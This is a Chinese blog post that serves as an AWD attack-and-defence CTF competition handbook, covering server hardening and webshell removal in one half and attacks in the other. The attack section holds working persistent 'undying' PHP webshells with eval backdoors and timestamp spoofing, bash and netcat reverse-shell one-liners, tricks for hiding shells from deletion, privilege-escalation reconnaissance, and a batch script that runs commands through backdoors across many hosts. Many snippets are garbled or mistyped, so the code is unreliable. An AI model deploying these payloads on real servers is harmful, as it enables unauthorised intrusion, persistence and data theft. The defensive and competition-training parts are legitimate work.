当前位置: 首页 > news >正文

AWD攻防比赛流程手册

AWD简单介绍:

AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。

一、防御加固

1、Linux基本命令

1、文件备份-----------------
cat /etc/passwdpasswd.txt  备份basswdi文件
cat /etc/shadow shadow.txt  备份shadow.文件
netstat -anp netstat_anp.txt 备份当前网络连接
cp /bash history history.txt 备份历史命令
w users.txt 备份用户登录信息
ps aux ps.txt备份进程信自
2、用户信息分析--------------------
whoami 查看当前用户
who 查看当前登录系统的所有用户
w 显示登陆系统的用户列表,显示正在执行的指令
users 显示当前登录系统的所有用户的用户
last 查看最近登录成功的用户及信息
cat/etc/passwd 查看用户信息
3、进程信息分析---------------------------
top 动态查看进程
Isof-p pid 查看PID为xxx的进程打开的文件
Isof -c sshd 查看进程sshd打开的文件
Isof -i:port 查看端口对应的一些进程
netstat -pantu grep pid查看网络连接情况,通过过滤pid查看连接的端口
fuser -n tcp port 查看端口对应的进程pid
4、进程信息分析---------------------------
ps aux 查看进程
pstree 查看进程树
ps aux --sort -pcpu 查看进程,根据cpu使用从高到低
ps aux --sort -pmem 查看进程,根据内存使用从高到低
5、网络连接分析---------------------------
netstat -an 打印Linux中网络系统的状态信息
netstat -nat | awk '{print $6}'|sort | unig -c|sort -rn 查看TCP连接状态
6、异常文件分析---------------------------
find /var/-type f -mtime -3 | xargs ls -la 查看指定目录最近被修改的文件
find./ -mtime 0 -name "*.php" 查找24h内被修改的文件
find./ -ctime -2 -name "'*php" 查找72h查找72h内新增的
find./ -iname "*.php"-perm 777 权限查找
7、定时任务分析---------------------------
cat /etc/crontab
8、其他-----------------------------
netstat ps 查看端口与服务  与外连接情况
ps 端口和服务
passwd username   //ssh口令修改
grep -r "flag" /var/www/html/  //Linux:在Web目录下查找flag
findstr /s /i "flag" *.*       //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串

2、WEB加固

1、网站后台密码

后台修改 //系统设置

数据库修改

如:
网站后台存在user这个表、网站账号admin账号、密码为123456
mysql -u root p 先登录mysql
select * form user;
update USER set password="147258" where id="admin";set password for mycms@localhost = password('18ciweufhi28746');  //MySQL密码修改
find /var/www//html -path '*config*’                             //查找配置文件中的密码凭证

查看是否留有后门账户 cat /etc/passwd

2、web网站-数据库备份

1、
tar-zcvf web.tar.gz web/ #压缩名.tar文件/目录
权限有问题的话,在当前目录用此命令
tar -zcvf web.tar  #所有文件打包
shell进行下载进行代码审计
2、
压缩源码:
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
解压缩源码:
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html
备份源码:
mv web.tar /tmp
mv web.zip /home/xxx
上传和下载源:
scp username@servername:/path/filename /tmp/local_destination  //从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path             //从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir          //从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir           //从本地上传整个目录到服务器
1、寻找配置文件
通常在名为config.php 一类的文件中存放了数据库的账号密码
2、mysql数据库登录
mysql -u root p
3、备份目标数据库
mysqldump -u root -p --databases test /tmp/db.sql
--------------------------------------------------------------------
备份指定数据库:
mysqldump –u username –p password databasename > target.sql
备份所有数据库:
mysqldump –all -databases > all.sql
信息数据库:
mysql –u username –p password database < from.sql

后门查杀-webshell-不死马

1、通过命令查看可疑文件
find /var/www/html -name*.php -mmin -20 #查看最近20分钟修改文件
find./ -name *.php'| xargs wc-l |sort-u #寻找行数最短文件
grep -r --include=*.php '[a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval ("more
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
2、webshell查杀工具
河马
D盾
3、后门用户查杀
U1D大于500的都是非系统账号,500以下的都为系统保留的账号
userdel -r username4、杀弹反弹shell
老规矩查看进程
ps -ef
px -aux
ps -aux | grep www-data
注意www-data权限/bin/sh,最重要的是
kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'5、不死马删除
ps aux grep www-data 查看进程
kill-9 pid 清除进程
5.1命令清除不死马
ps aux grep www-data awk '{print $2}'xargs kill-9ps aux列出进程信息grep www-data在进程信息中匹配目标awk'{print2}'提取pidxargs kill-9将pid作为参数传递给kill-9
5.2条件竞争清除
通过不断的向不死马中写入数据达到覆盖的效果
条件竞争
<?php
set_time_limit(o);
ignore_user_abort(true);
unlink(_FILE_);
while(1)
{file_put_contents('./shell.php','11111');usleep(o);
}
?>
5.3通过脚本方式
#!/bin/bash
while true;do rm -rf shell.php done5.4创建一个和不死马生成的木马一样名字的文件夹
#!/bin/bash
dire="/var/www/html/.shell.php/"
file="/var/www/html/.shell.php"
rm -rf sfile
mkdir $dire5.5可以通过不断复写shell.php来达到该木马难以使用的效果
利用:
192.168.10.2:80/.config.php //输入网址,会自行创建
POST cmd=ls
GET cmd=system("ls");5.6删除不死马
创建一个killbusima.php
<?phpignore_user_abort(true);set_time_limit(0);unlink(FILE_);$file ='config.php';$c0de='<7 php ech0"111111111111111111111"?>';while (1){file_put_contents($file,$code);/system('touch-m-d"2018-12-0109:10:12",1.php');//usleep(1000);usleep(0);}
?>
5.7上脚本删除 github项目很多
6、清除反弹shell
ps aux grep www-data 查看进程
清除进程
kill ps -aux grep www-dataa
awk '{print $2}'

3、日志分析-WAF-文件监控

目的:了解运行情况、发生的安全事件、分析取证、payload反制

3.1文件监控

1、文件监控备份运行文件监控脚本前所有文件删除新增非自用文件记录新增文件知晓文件变动历史防止别人恶意写入不死马,迅速恢复被修改的源码
2、文件监控可以对web目录进行监控,发现新上传文件或者文件被修改立即恢复,这样可以防止上传shell等攻击:
# -*- coding: utf-8 -*-
#use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import timeCWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}def isListLike(value):return isinstance(value, (list, tuple, set))# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):if noneToNull and value is None:return NULLif isListLike(value):value = list(getUnicode(_, encoding, noneToNull) for _ in value)return valueif isinstance(value, unicode):return valueelif isinstance(value, basestring):while True:try:return unicode(value, encoding or UNICODE_ENCODING)except UnicodeDecodeError, ex:try:return unicode(value, UNICODE_ENCODING)except:value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]else:try:return unicode(value)except UnicodeDecodeError:return unicode(str(value), errors="ignore")# 目录创建
def mkdir_p(path):import errnotry:os.makedirs(path)except OSError as exc:if exc.errno == errno.EEXIST and os.path.isdir(path):passelse: raise# 获取当前所有文件路径
def getfilelist(cwd):filelist = []for root,subdirs, files in os.walk(cwd):for filepath in files:originalfile = os.path.join(root, filepath)if Special_path_str not in originalfile:filelist.append(originalfile)return filelist# 计算机文件MD5值
def calcMD5(filepath):try:with open(filepath,'rb') as f:md5obj = hashlib.md5()md5obj.update(f.read())hash = md5obj.hexdigest()return hashexcept Exception, e:print u'[!] getmd5_error : ' + getUnicode(filepath)print getUnicode(e)try:ORIGIN_FILE_LIST.remove(filepath)FILE_MD5_DICT.pop(filepath, None)except KeyError, e:pass# 获取所有文件MD5
def getfilemd5dict(filelist = []):filemd5dict = {}for ori_file in filelist:if Special_path_str not in ori_file:md5 = calcMD5(os.path.realpath(ori_file))if md5:filemd5dict[ori_file] = md5return filemd5dict# 备份所有文件
def backup_file(filelist=[]):# if len(os.listdir(Special_path['bak'])) == 0:for filepath in filelist:if Special_path_str not in filepath:shutil.copy2(filepath, Special_path['bak'])if __name__ == '__main__':print u'---------start------------'for value in Special_path:mkdir_p(Special_path[value])# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件ORIGIN_FILE_LIST = getfilelist(CWD)FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUGprint u'[*] pre work end!'while True:file_list = getfilelist(CWD)# 移除新上传文件diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))if len(diff_file_list) != 0:# import pdb;pdb.set_trace()for filepath in diff_file_list:try:f = open(filepath, 'r').read()except Exception, e:breakif Special_string not in f:try:print u'[*] webshell find : ' + getUnicode(filepath)shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))except Exception as e:print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)try:f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')f.close()except Exception as e:print u'[-] log error : file move error: ' + getUnicode(e)# 防止任意文件被修改,还原被修改文件md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)for filekey in md5_dict:if md5_dict[filekey] != FILE_MD5_DICT[filekey]:try:f = open(filekey, 'r').read()except Exception, e:breakif Special_string not in f:try:print u'[*] file had be change : ' + getUnicode(filekey)shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)except Exception as e:print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)try:f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')f.close()except Exception as e:print u'[-] log error : done_diff: ' + getUnicode(filekey)passtime.sleep(2)# print '[*] ' + getUnicode(time.ctime())

3.2日志分析

流量监控实现反打       重点---------------大型比赛的AWD竞赛都会提供流量包文件供选手查看,通过流量包可以审计出一些pay|oad,通过流量可以迅速进行批量反打。如果主办方不提供流量包,可以对网站入口文件挂上记录日志的文件,从而浏览记录下来的流量。
部署在网站目录,或者加在网站源码中。保存为txt,以供分析。
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; /记录访问者的ip
$filename = $_SERVER['PHP_SELF]; /访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; /访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); /访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?.$parameter."\r\n"; 
Iog记录
$fh fopen("log.txt","a");
fwrite($fh,$logadd);
fclose($fh);
?>
网站日志存放位置:
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/
GITHUB项目:

3.3WAF部署 

使用方法:
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:a).在所需要防护的页面加入代码
require_once('waf.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.phpb).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;
需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。waf的作用:
最重要是分析流量,别人攻击我们的时候,我们可以看到别人的攻击方式。这样的话即使我们找 不到攻击点,非常苦恼的时候,我们就可以分析流量,使用别人的攻击方式。
可以直接进行防御,类似于一台防火墙(一般的比赛是不允许使用的,毕竟比赛时间短,就根本绕不过去waf,那比赛就没意思了)
有些比赛是不允许上通用waf的,check机制可能会check到waf过滤的参数,导致宕机,waf部署需要谨慎,还需要注意的是:上完waf检查服务是否可用,部分检查允许使用部分小的waf,会检查页面完整性、服务完整性。
常用的waf使用方法,是用你要保护的文件去包含这个waf.php。比如说,你要保护select.php,那么你就在select.php里面写上一行include './waf.php'或者 require_once('waf.php');
如果你要保护所有文件,那么就在config这种配置文件里包含waf,因为这种config的文件,一般会被大部分功能页面调用
网上很多waf脚本,这里介绍几个waf项目
1.AWD_PHP_WAF
项目地址:GitHub - NonupleBroken/AWD_PHP_WAF: a PHP WAF for AWD
使用方法:
使用前先修改config.php内的密码,密码使用sha256加密
上waf:
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/g"
下waf:
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/<?php/g"
比如访问 web 目录下的/waffffff/admin.php?password=1234562.CTF-WAF
项目地址:GitHub - sharpleung/CTF-WAF: 针对CTF线下赛的通用WAF,带流量转发,日志审计功能。3.awd-watchbird
这是个通防waf,支持流量转发和替换flag
项目地址:GitHub - leohearts/awd-watchbird: A powerful PHP WAF for AWD
1.打包好好之后直接上传到html目录下,回到终端,在上传的waf目录下,使用命令
php watchbird.php --install /var/www/html
这样就能使每个页面的php代码包含到waf下
2.运行waf 之后,打开我们的web 页面,在任意一个php 页面后面输入?watchbird=ui,就会进入到waf 配置页面然后设置密码(注意:第一次打开需要设置密码)
3.配置好之后就能进入内部网页4.AoiAWD
项目地址:GitHub - DasSecurity-HatLab/AoiAWD: AoiAWD-专为比赛设计,便携性好,低权限运行的EDR系统。
使用方法:AoiAWD-萌新的得分利器
下载好,自己去编译或者找编译好的直接用文件寻找
1、寻找配置文件
find -name "nginx.conf" #定位nginx目录
find /-path "*nginx*"-name nginx*conf #定位nginx配置目录
find /-name "httpd.conf" #定位apache目录
find /-name "index.php" #定位网站目录
2、寻找日志文件
/var/log/nginx/ #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/Ioca|/tomcat/logs #Tomcat日志目录
tail-f xxx.log #实时刷新滚动日志文件

4、PHP加固=PHP参数配置

首先找到PHP的配置文件/etc/php/{version}/php.ini
禁用高危函数disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
配置open_basedir(将用户访问文件范围限制在指定的区域)open_basedir=/var/www/html
禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)magic_quotes_gpc = Off
关闭PHP伪协议allow_url_fopen = Off
allow_url_include = Off
重新PHPsudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service配置.htaccess
使用.htaccess配置文件禁止执行php文件<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 
</Directory>

5、漏洞修复

1、已知webshell

直接注释、或者删除即可

2、TOP10漏洞修复

1、SQL注入

1、基于黑名单
Sblacklist=
"regexp|from|count|procedureland|asciisubstr|substring|left|right |union|if|caselpowl expl
order |sleep|benchmark|intolload|outfilel dumpfilelload_filel join |showlselect |updatelset|co
ncat deletel alter |insert createlunion|or|dropnot|for|join is between group_concat|likelw
hereluserlasciilgreatestlmid substr|left|right |char |hexlord|casellimit|conv|tablelmysq1_h
istorylflagl count I rpad&*.|-";
if((preg_match("/".$blacklist."/is",$a)==1)(preg_match("/".$blacklist."/is",$b)==1)){die();                                                                                  

2、命令执行

1、调用函数进行参数过滤
<?php
$a=$_GET['cc'];
Ssangfor
"eval|assert|passthru|pcnt1_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|ch
own|shel1_execlproc_open|proc_get_status|ob_start";
if(preg_match("/".$sangfor."/is",$cc)==1){die();
$bb="phpinfo()";
call_user_func($cc,$bb);
?>
2、禁用函数
disable_functions=call_user_func,call_user_func_array,array_map,array_filter,ob_start,php
info,eval,assert,passthru,pcnt1_exec,exec,system,escapeshellcmd,popen,chroot,scandir,chgr
p,chown,shel1_exec

3、反序列化

1、PHP7.0特性为unserialize()提供过滤
<php
//将所有的对象都转换为_PHP_Incomp1ete_c1ass对象
$data unserialize($foo,["allowed_classes"=>false]);
//将除Myc1ass和Myc1ass2之外的所有对象都转换为_PHP_Incomp1ete_c1ass对象
$data unserialize($foo,["allowed_classes"=>["Myclass","Myclass2"]);
//默认情况下所有的类都是可接受的,等同于省略第二个参数
$data unserialize($foo,["allowed_classes"=true]);
?>
2、限制phar拓展php反序列化
$blacklist "phar|zip|compress.bzip2|compress.zlib|compress.bzip2";
if(preg_match("/".$blacklist."/is",$a)==1){die();      
}

4、文件上传

#修复参考:
严格限制上传的文件路径
文件扩展名服务端白名单校验
文件内容服务端校验
上传文件重命名
隐藏上传文件路径
限制相关上传文件目录的执行权限
前后端都对文件类型进行验证1、后端代码限制上传的文件类型(类型&后缀)和大小
if (($_FILES["Up10defile"]["type"]=="image/gif")&&(substr($_FILES["Up10defile"]["name"],
strrpos($_FILES ["Up10defile"]["name"],'.')+1))=='gif')&&($_FILES["file"]["size"]
<1024000){
else{die();
}2、强制给上传的文件添加后缀名,在不存在文件包含漏洞的情况下,该方法能最有效的防御攻击者上传执行木马
if (file_exists("upload_file/". $_FILES["Up10defile"]["name"])){echo $_FILES["Up10defile"]["name"].already exists.";
else{move_uploaded_file($_FILES["Upl0defile"]["tmp_name"],
"upload_file/". $_FILES["Up1odefile"]["name"].".gif");echo "Stored in: "."upload_file/" .$_FILES["Up10defile"]["name"].".gif";
}

文件包含

本地文件包含路径限制
$filename $_GET['filename']
$pattern ="\/.\.\/\.\/|etc|var|php|jpg|jpeg|png|bmp|gif";
if(preg_match("/".$pattern."/is",$filename)==1){echo"die00000000000000000000000000000";die();
}
include($filename);

原则:

  • 能修复的尽量修复;

  • 不能修复的先注释源码,不影响页面显示再删除;

  • 站点和对应的功能尽可能不宕机;

二、攻击

1、信息收集

## 一般比赛都会给定ip列表,给出相应的网段地址,选手可以根据ip列表去生成靶机列表。如果主办方不出具ip列表,可以使用nmap或者其他工具扫描对应网段,获取靶机ip。发现对方靶机服务
一、主机识别
1、nmap扫端口
nmap-sP 192.168.1.1/24 #扫描c段主机
nmap-sV 1.1.1.1-p1-65535 #探测端口的服务
nmap -sS -p 80,8080,3306 192.168.1.1/24 #扫描c段下的主机端口是否开放
主机探测:一般使用Nmap进行主机探测,探测范围为自己主机的C段
存活探测:nmap-sS 10.16.10.0/24   -sn 也可以
端口探测:nmap 10.16.10.19 -p 1-65535
2、目标识别脚本
import requests
for x in range(2,255): url = "http://192.168.1.{}".format(x) try: r = requests.post(url) print(url) except: pass
3、gorailgunr
填好ip端口信息即可,支持导出CSV,然后进行筛选二、服务探测:
使用Nmap、Dirsearch和WEB指纹识别工具,获取靶机的开发语言,系统名称及版本等。还可以使用其他相应工具、和脚本,cms识别、目录扫描、各种安全工具安排上

2、攻击方式

1、提前准备:

漏洞库 、cms版本、中间件、框架漏洞、各种POC\EXP、各种漏扫项目、马子等等

2、攻击Web服务
  • 代码审计 //使用D盾、Seay源代码审计系统

  • 历史漏洞 //查看CMS针对性攻击 /使用扫描器进行探测

  • 手工测试 TOP10漏洞 /比赛较多cms框架漏洞、弱口令、命令执行、sql注入、服务漏洞等等

  • sql注入漏洞 —sql-shell执行select load_file(‘/flag’);即可得到flag

  • 文件包含漏洞,通过../../../../../../flag的方式获取flag

  • RCE漏洞有GET/POST根据情况而定 写payload

  • 弱口令进入后台写shell等等

3、漏扫项目:

XRAY、GOBY、Pocsuite3、漏洞库EXP、POC-bomber-main、wapiti3等等工具 如下:

1、wapiti3 支持大部分漏洞 地址:GitHub - wapiti-scanner/wapiti: Web vulnerability scanner written in Python3

安装:pip install wapiti3

使用:wapiti3 -u http://xxxx.xx // -l 1 测试等级

2、POC-bomber-main 地址:GitHub - tr0uble-mAker/POC-bomber: 利用大量高威胁poc/exp快速获取目标权限,用于渗透和红队快速打点

安装:git clone https://github.com/tr0uble-mAker/POC-bomber.git  cd POC-bomber pip install -r requirements.txt

使用:python3 pocbomber.py -u http://xxx.xxx //验证模式

     python3 pocbomber.py -u http://xxx.xxx --poc="thinkphp2_rce.py" --attack  //攻击模式

#### 4、关于已知后门利用

1、webshell工具查看 //较慢2、浏览器打开 get/POST3、脚本批量化

3、权限维持

3.1不死马
创建一个.config.php的文件写入不死马,带.的意义为可以隐藏,不容易被发现
1、第一种:
<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
unlink(__FILE__);     //删除自身while(1)
{file_put_contents('.config.php','<?php @eval($_POST["cmd"]);?>');  //创建.config.phpsleep(100);    //间隔时间100毫秒
}防御:
可以通过不断复写shell.php来达到该木马难以使用的效果
利用:
192.168.10.2:80/.config.php //输入网址,会自行创建
POST cmd=ls
GET cmd=system("ls");删除不死马
创建一个killbusima.php
<?phpignore_user_abort(true);set_time_limit(0);unlink(FILE_);$file ='config.php';$c0de='<7 php ech0"111111111111111111111"?>';while (1){file_put_contents($file,$code);/system('touch-m-d"2018-12-0109:10:12",1.php');//usleep(1000);usleep(0);}
?>
不死马示例:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST['cmd']);} ?>';
while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" shell2.php');usleep(5000);
}
?>#passwd=y0range857
#POST传参:passwd=y0range857&a=system('ls');
将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为shell2.php的shell文件,然后使用caidao输入http://xxx/shell2.php?pass=pass的路径,密码为a就可以链接一句话,由于pass是md5加密很难被破解也可以做到隐蔽,md5值可以随意定义。
写入shell, at.php内容<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php'; 
$code = '<?php if(md5($_GET["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["at"]);} ?>';
while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .login.php');file_put_contents($file1,$code);system('touch -m -d "2018-12-01 09:10:12" /admin/.register.php');usleep(5000);
}
?>
浏览器访问at.php,会生成不死马at2.php
url/upload/at.php
再传入,执行命令,getshell
url/upload/at2.php?passwd=obse007&at=system('ls');
3.2反弹shell
1、利用一:nc反弹shell
bash-i>&/dev/tcp/192.168.182.130/66660>&1
bash -i >& /dev/tcp/192.168.182.130/6666 0>&1
本地
nc -l -p 66662、利用二:定时任务反弹shell 
bash -c bash'bash -i >& /dev/tcp/[ip]/[port] 0>&1'
nc -e /bin/bash 1.3.3.7 4444 bash3、清除:
ps aux grep www-data 查看进程
kill ps -aux grep www-dataa
awk '{print $2}'
利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,之后就可以一直得分了
3.3写隐藏webshell
隐藏shell
shell很容易被发现,被删除就gg了,可以采用一些操作隐藏shell或使shell无法被删除
1.把shell.php命名为.shell.php
.shell.php在执行ls时无法被查看到,搭配ls的参数才能被发现
完整命令如下
mv shell.php .shell.php
ls -al
.shell.php
2.把shell.php命名为-shell.php
从上面可以看出,ls加参数才能查看到shell,那么我们直接写一个-shell.php、
命令行会把-后面的内容当成参数执行,执行即使被发现,使用rm命令进行删除,会被当成是rm的参数,就会发生报错,无法删除shell,目的也达到了
完整命令如下
[sss@ecs-centos-7 awd]$ ls
-shell.php
[sss@ecs-centos-7 awd]$ rm -shell.php 
rm:无效选项 -- s
Try 'rm ./-shell.php' to remove the file "-shell.php".
Try 'rm --help' for more information.
[sss@ecs-centos-7 awd]$ rm -rf -shell.php 
rm:无效选项 -- s
Try 'rm ./-shell.php' to remove the file "-shell.php".
Try 'rm --help' for more information.

4、权限提升

涉及加固等环节可能因为权限问题需要提权,收集提权POC 直接本地提权即可

Linux提权
查询系统版本信息命令:
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
查询内核版本信息:
uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl  
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
查看系统环境变量:
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
查看语言环境信息命令:
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set
查看文件上传环境信息命令:
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
参考漏洞
CVE-2023-0386(Linux OverlayFS权限提升漏洞)
CVE-2021-4034(Linux Polkit本地权限提升漏洞)
CVE-2017-6074(DCCP双重释放漏洞 > 2.6.18)
CVE-2016-5195(脏牛,内核 2.6.22 < 3.9 (x86/x64))
CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
CVE-2017-1000367(sudo本地提权漏洞)
CVE-2016-1247(Nginx权限提升漏洞)
CVE-2017-16995(Ubuntu16.04内核:4.14-4.4)
地址:
http://www.exploit-db.com
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main

5、快速攻击AAAAAA

在AWD中通常需要批量化进行攻击和fIag提交,此时通常使用Python脚本进行实

现,需要一定的编程基础。

1、后门webshell py

import requests
# 假设ip.txt文件包含以下内容:
# http://example.com
# http://anotherexample.com
# 读取ip.txt文件中的URL列表
with open('ip.txt', 'r') as u:urls = u.readlines()
# 遍历URL列表
for url in urls:# 移除URL末尾的换行符url = url.strip()# 构造完整的URL,这里假设我们要访问的路径是'/public/123.php'full_url = url + '/public/123.php'# 准备POST请求的数据data = {'c': 'systen('cat /flag')'}  # 这里应该根据实际情况来设置数据try:# 发送POST请求response = requests.post(full_url, data=data)# 检查响应状态码if response.status_code == 200:# 打印响应内容print(response.text)else:print(f"Request failed with status code {response.status_code}")except requests.exceptions.RequestException as e:# 打印请求异常信息print(f"An error occurred: {e}")

三、全局工作

1、准备工作

SSH/FTP远程连接、主机发现软件、常规漏扫软件、内存马/webshell(纯/图片)/软连接马、批量攻击框架(全场利用)、日志脚本/WAF、webshll查杀工具(D盾/河马)

2、前期

1、网站备份、修改默认口令

2、修复漏洞(D盾(已知webshell/网站漏洞))

3、是否上WAF/上传日志分析脚本(文件监控)

4、主机发现

5、漏洞利用(已知webshell) 手工/脚本批量

6、权限维持

3、中期

1、漏洞挖掘(代码审计/工具/手工测试)

2、日志分析(获取攻击方式反制)=漏洞持续修复

3、删除沦陷主机的马(webshell/内存马等等)

4、中后期

1、权限维持(上传不死马等等)

2、防守(加固/删除马)

5、赛后复盘

6、注意点

1.预留后门的权限维持

2.AWD一般使用cms,多准备cms的POC和EXP。

3.防守注意查看日志看别人是怎么攻击自己的,然后尝试攻击其他人。

4.检查后门,网站上没有d盾可以扫出来的后门,检查计划任务或者可疑进程等等。

5.比赛一轮10-20几分钟,时间紧张,提高自己的代码审计、自动化脚本的编写能力,实现自动化攻击。

四、AWD附件

AWD比赛脚本等等资源,联系博主!

参考了互联网各大文章视频等等。

相关文章:

  • 23.3 时间-解析、计算、比较时间
  • iCopy for Mac 剪切板 粘贴工具 历史记录 安装(保姆级教程,新手小白轻松上手)
  • 课设--学生成绩管理系统(二)
  • FinalShell 连接虚拟机超时,主机ping不通虚拟机,解决
  • MongoDB使用$addToSet向数组中添加元素
  • 设备驱动程序和 PCI 电源管理
  • 健身行动日
  • 如何生成自定义二维码和实现安全便捷的扫码登录功能以及对接企业微信API
  • 打破安全设备孤岛,多源威胁检测与响应(XDR)如何构建一体化安全防线
  • 51单片机入门
  • AWS无服务器 应用程序开发—第三章 后端服务(AWS AppSync)
  • 秋招突击——6/16——复习{整理昨天的面试资料}——新作{删除链表倒数第n个节点}
  • 信用VS抵押:贷款的两面镜子
  • Linux(Centos7)OpenSSH漏洞修复,升级最新openssh-9.7p1
  • 英语恶补ing
  • Android优雅地处理按钮重复点击
  • CentOS从零开始部署Nodejs项目
  • FineReport中如何实现自动滚屏效果
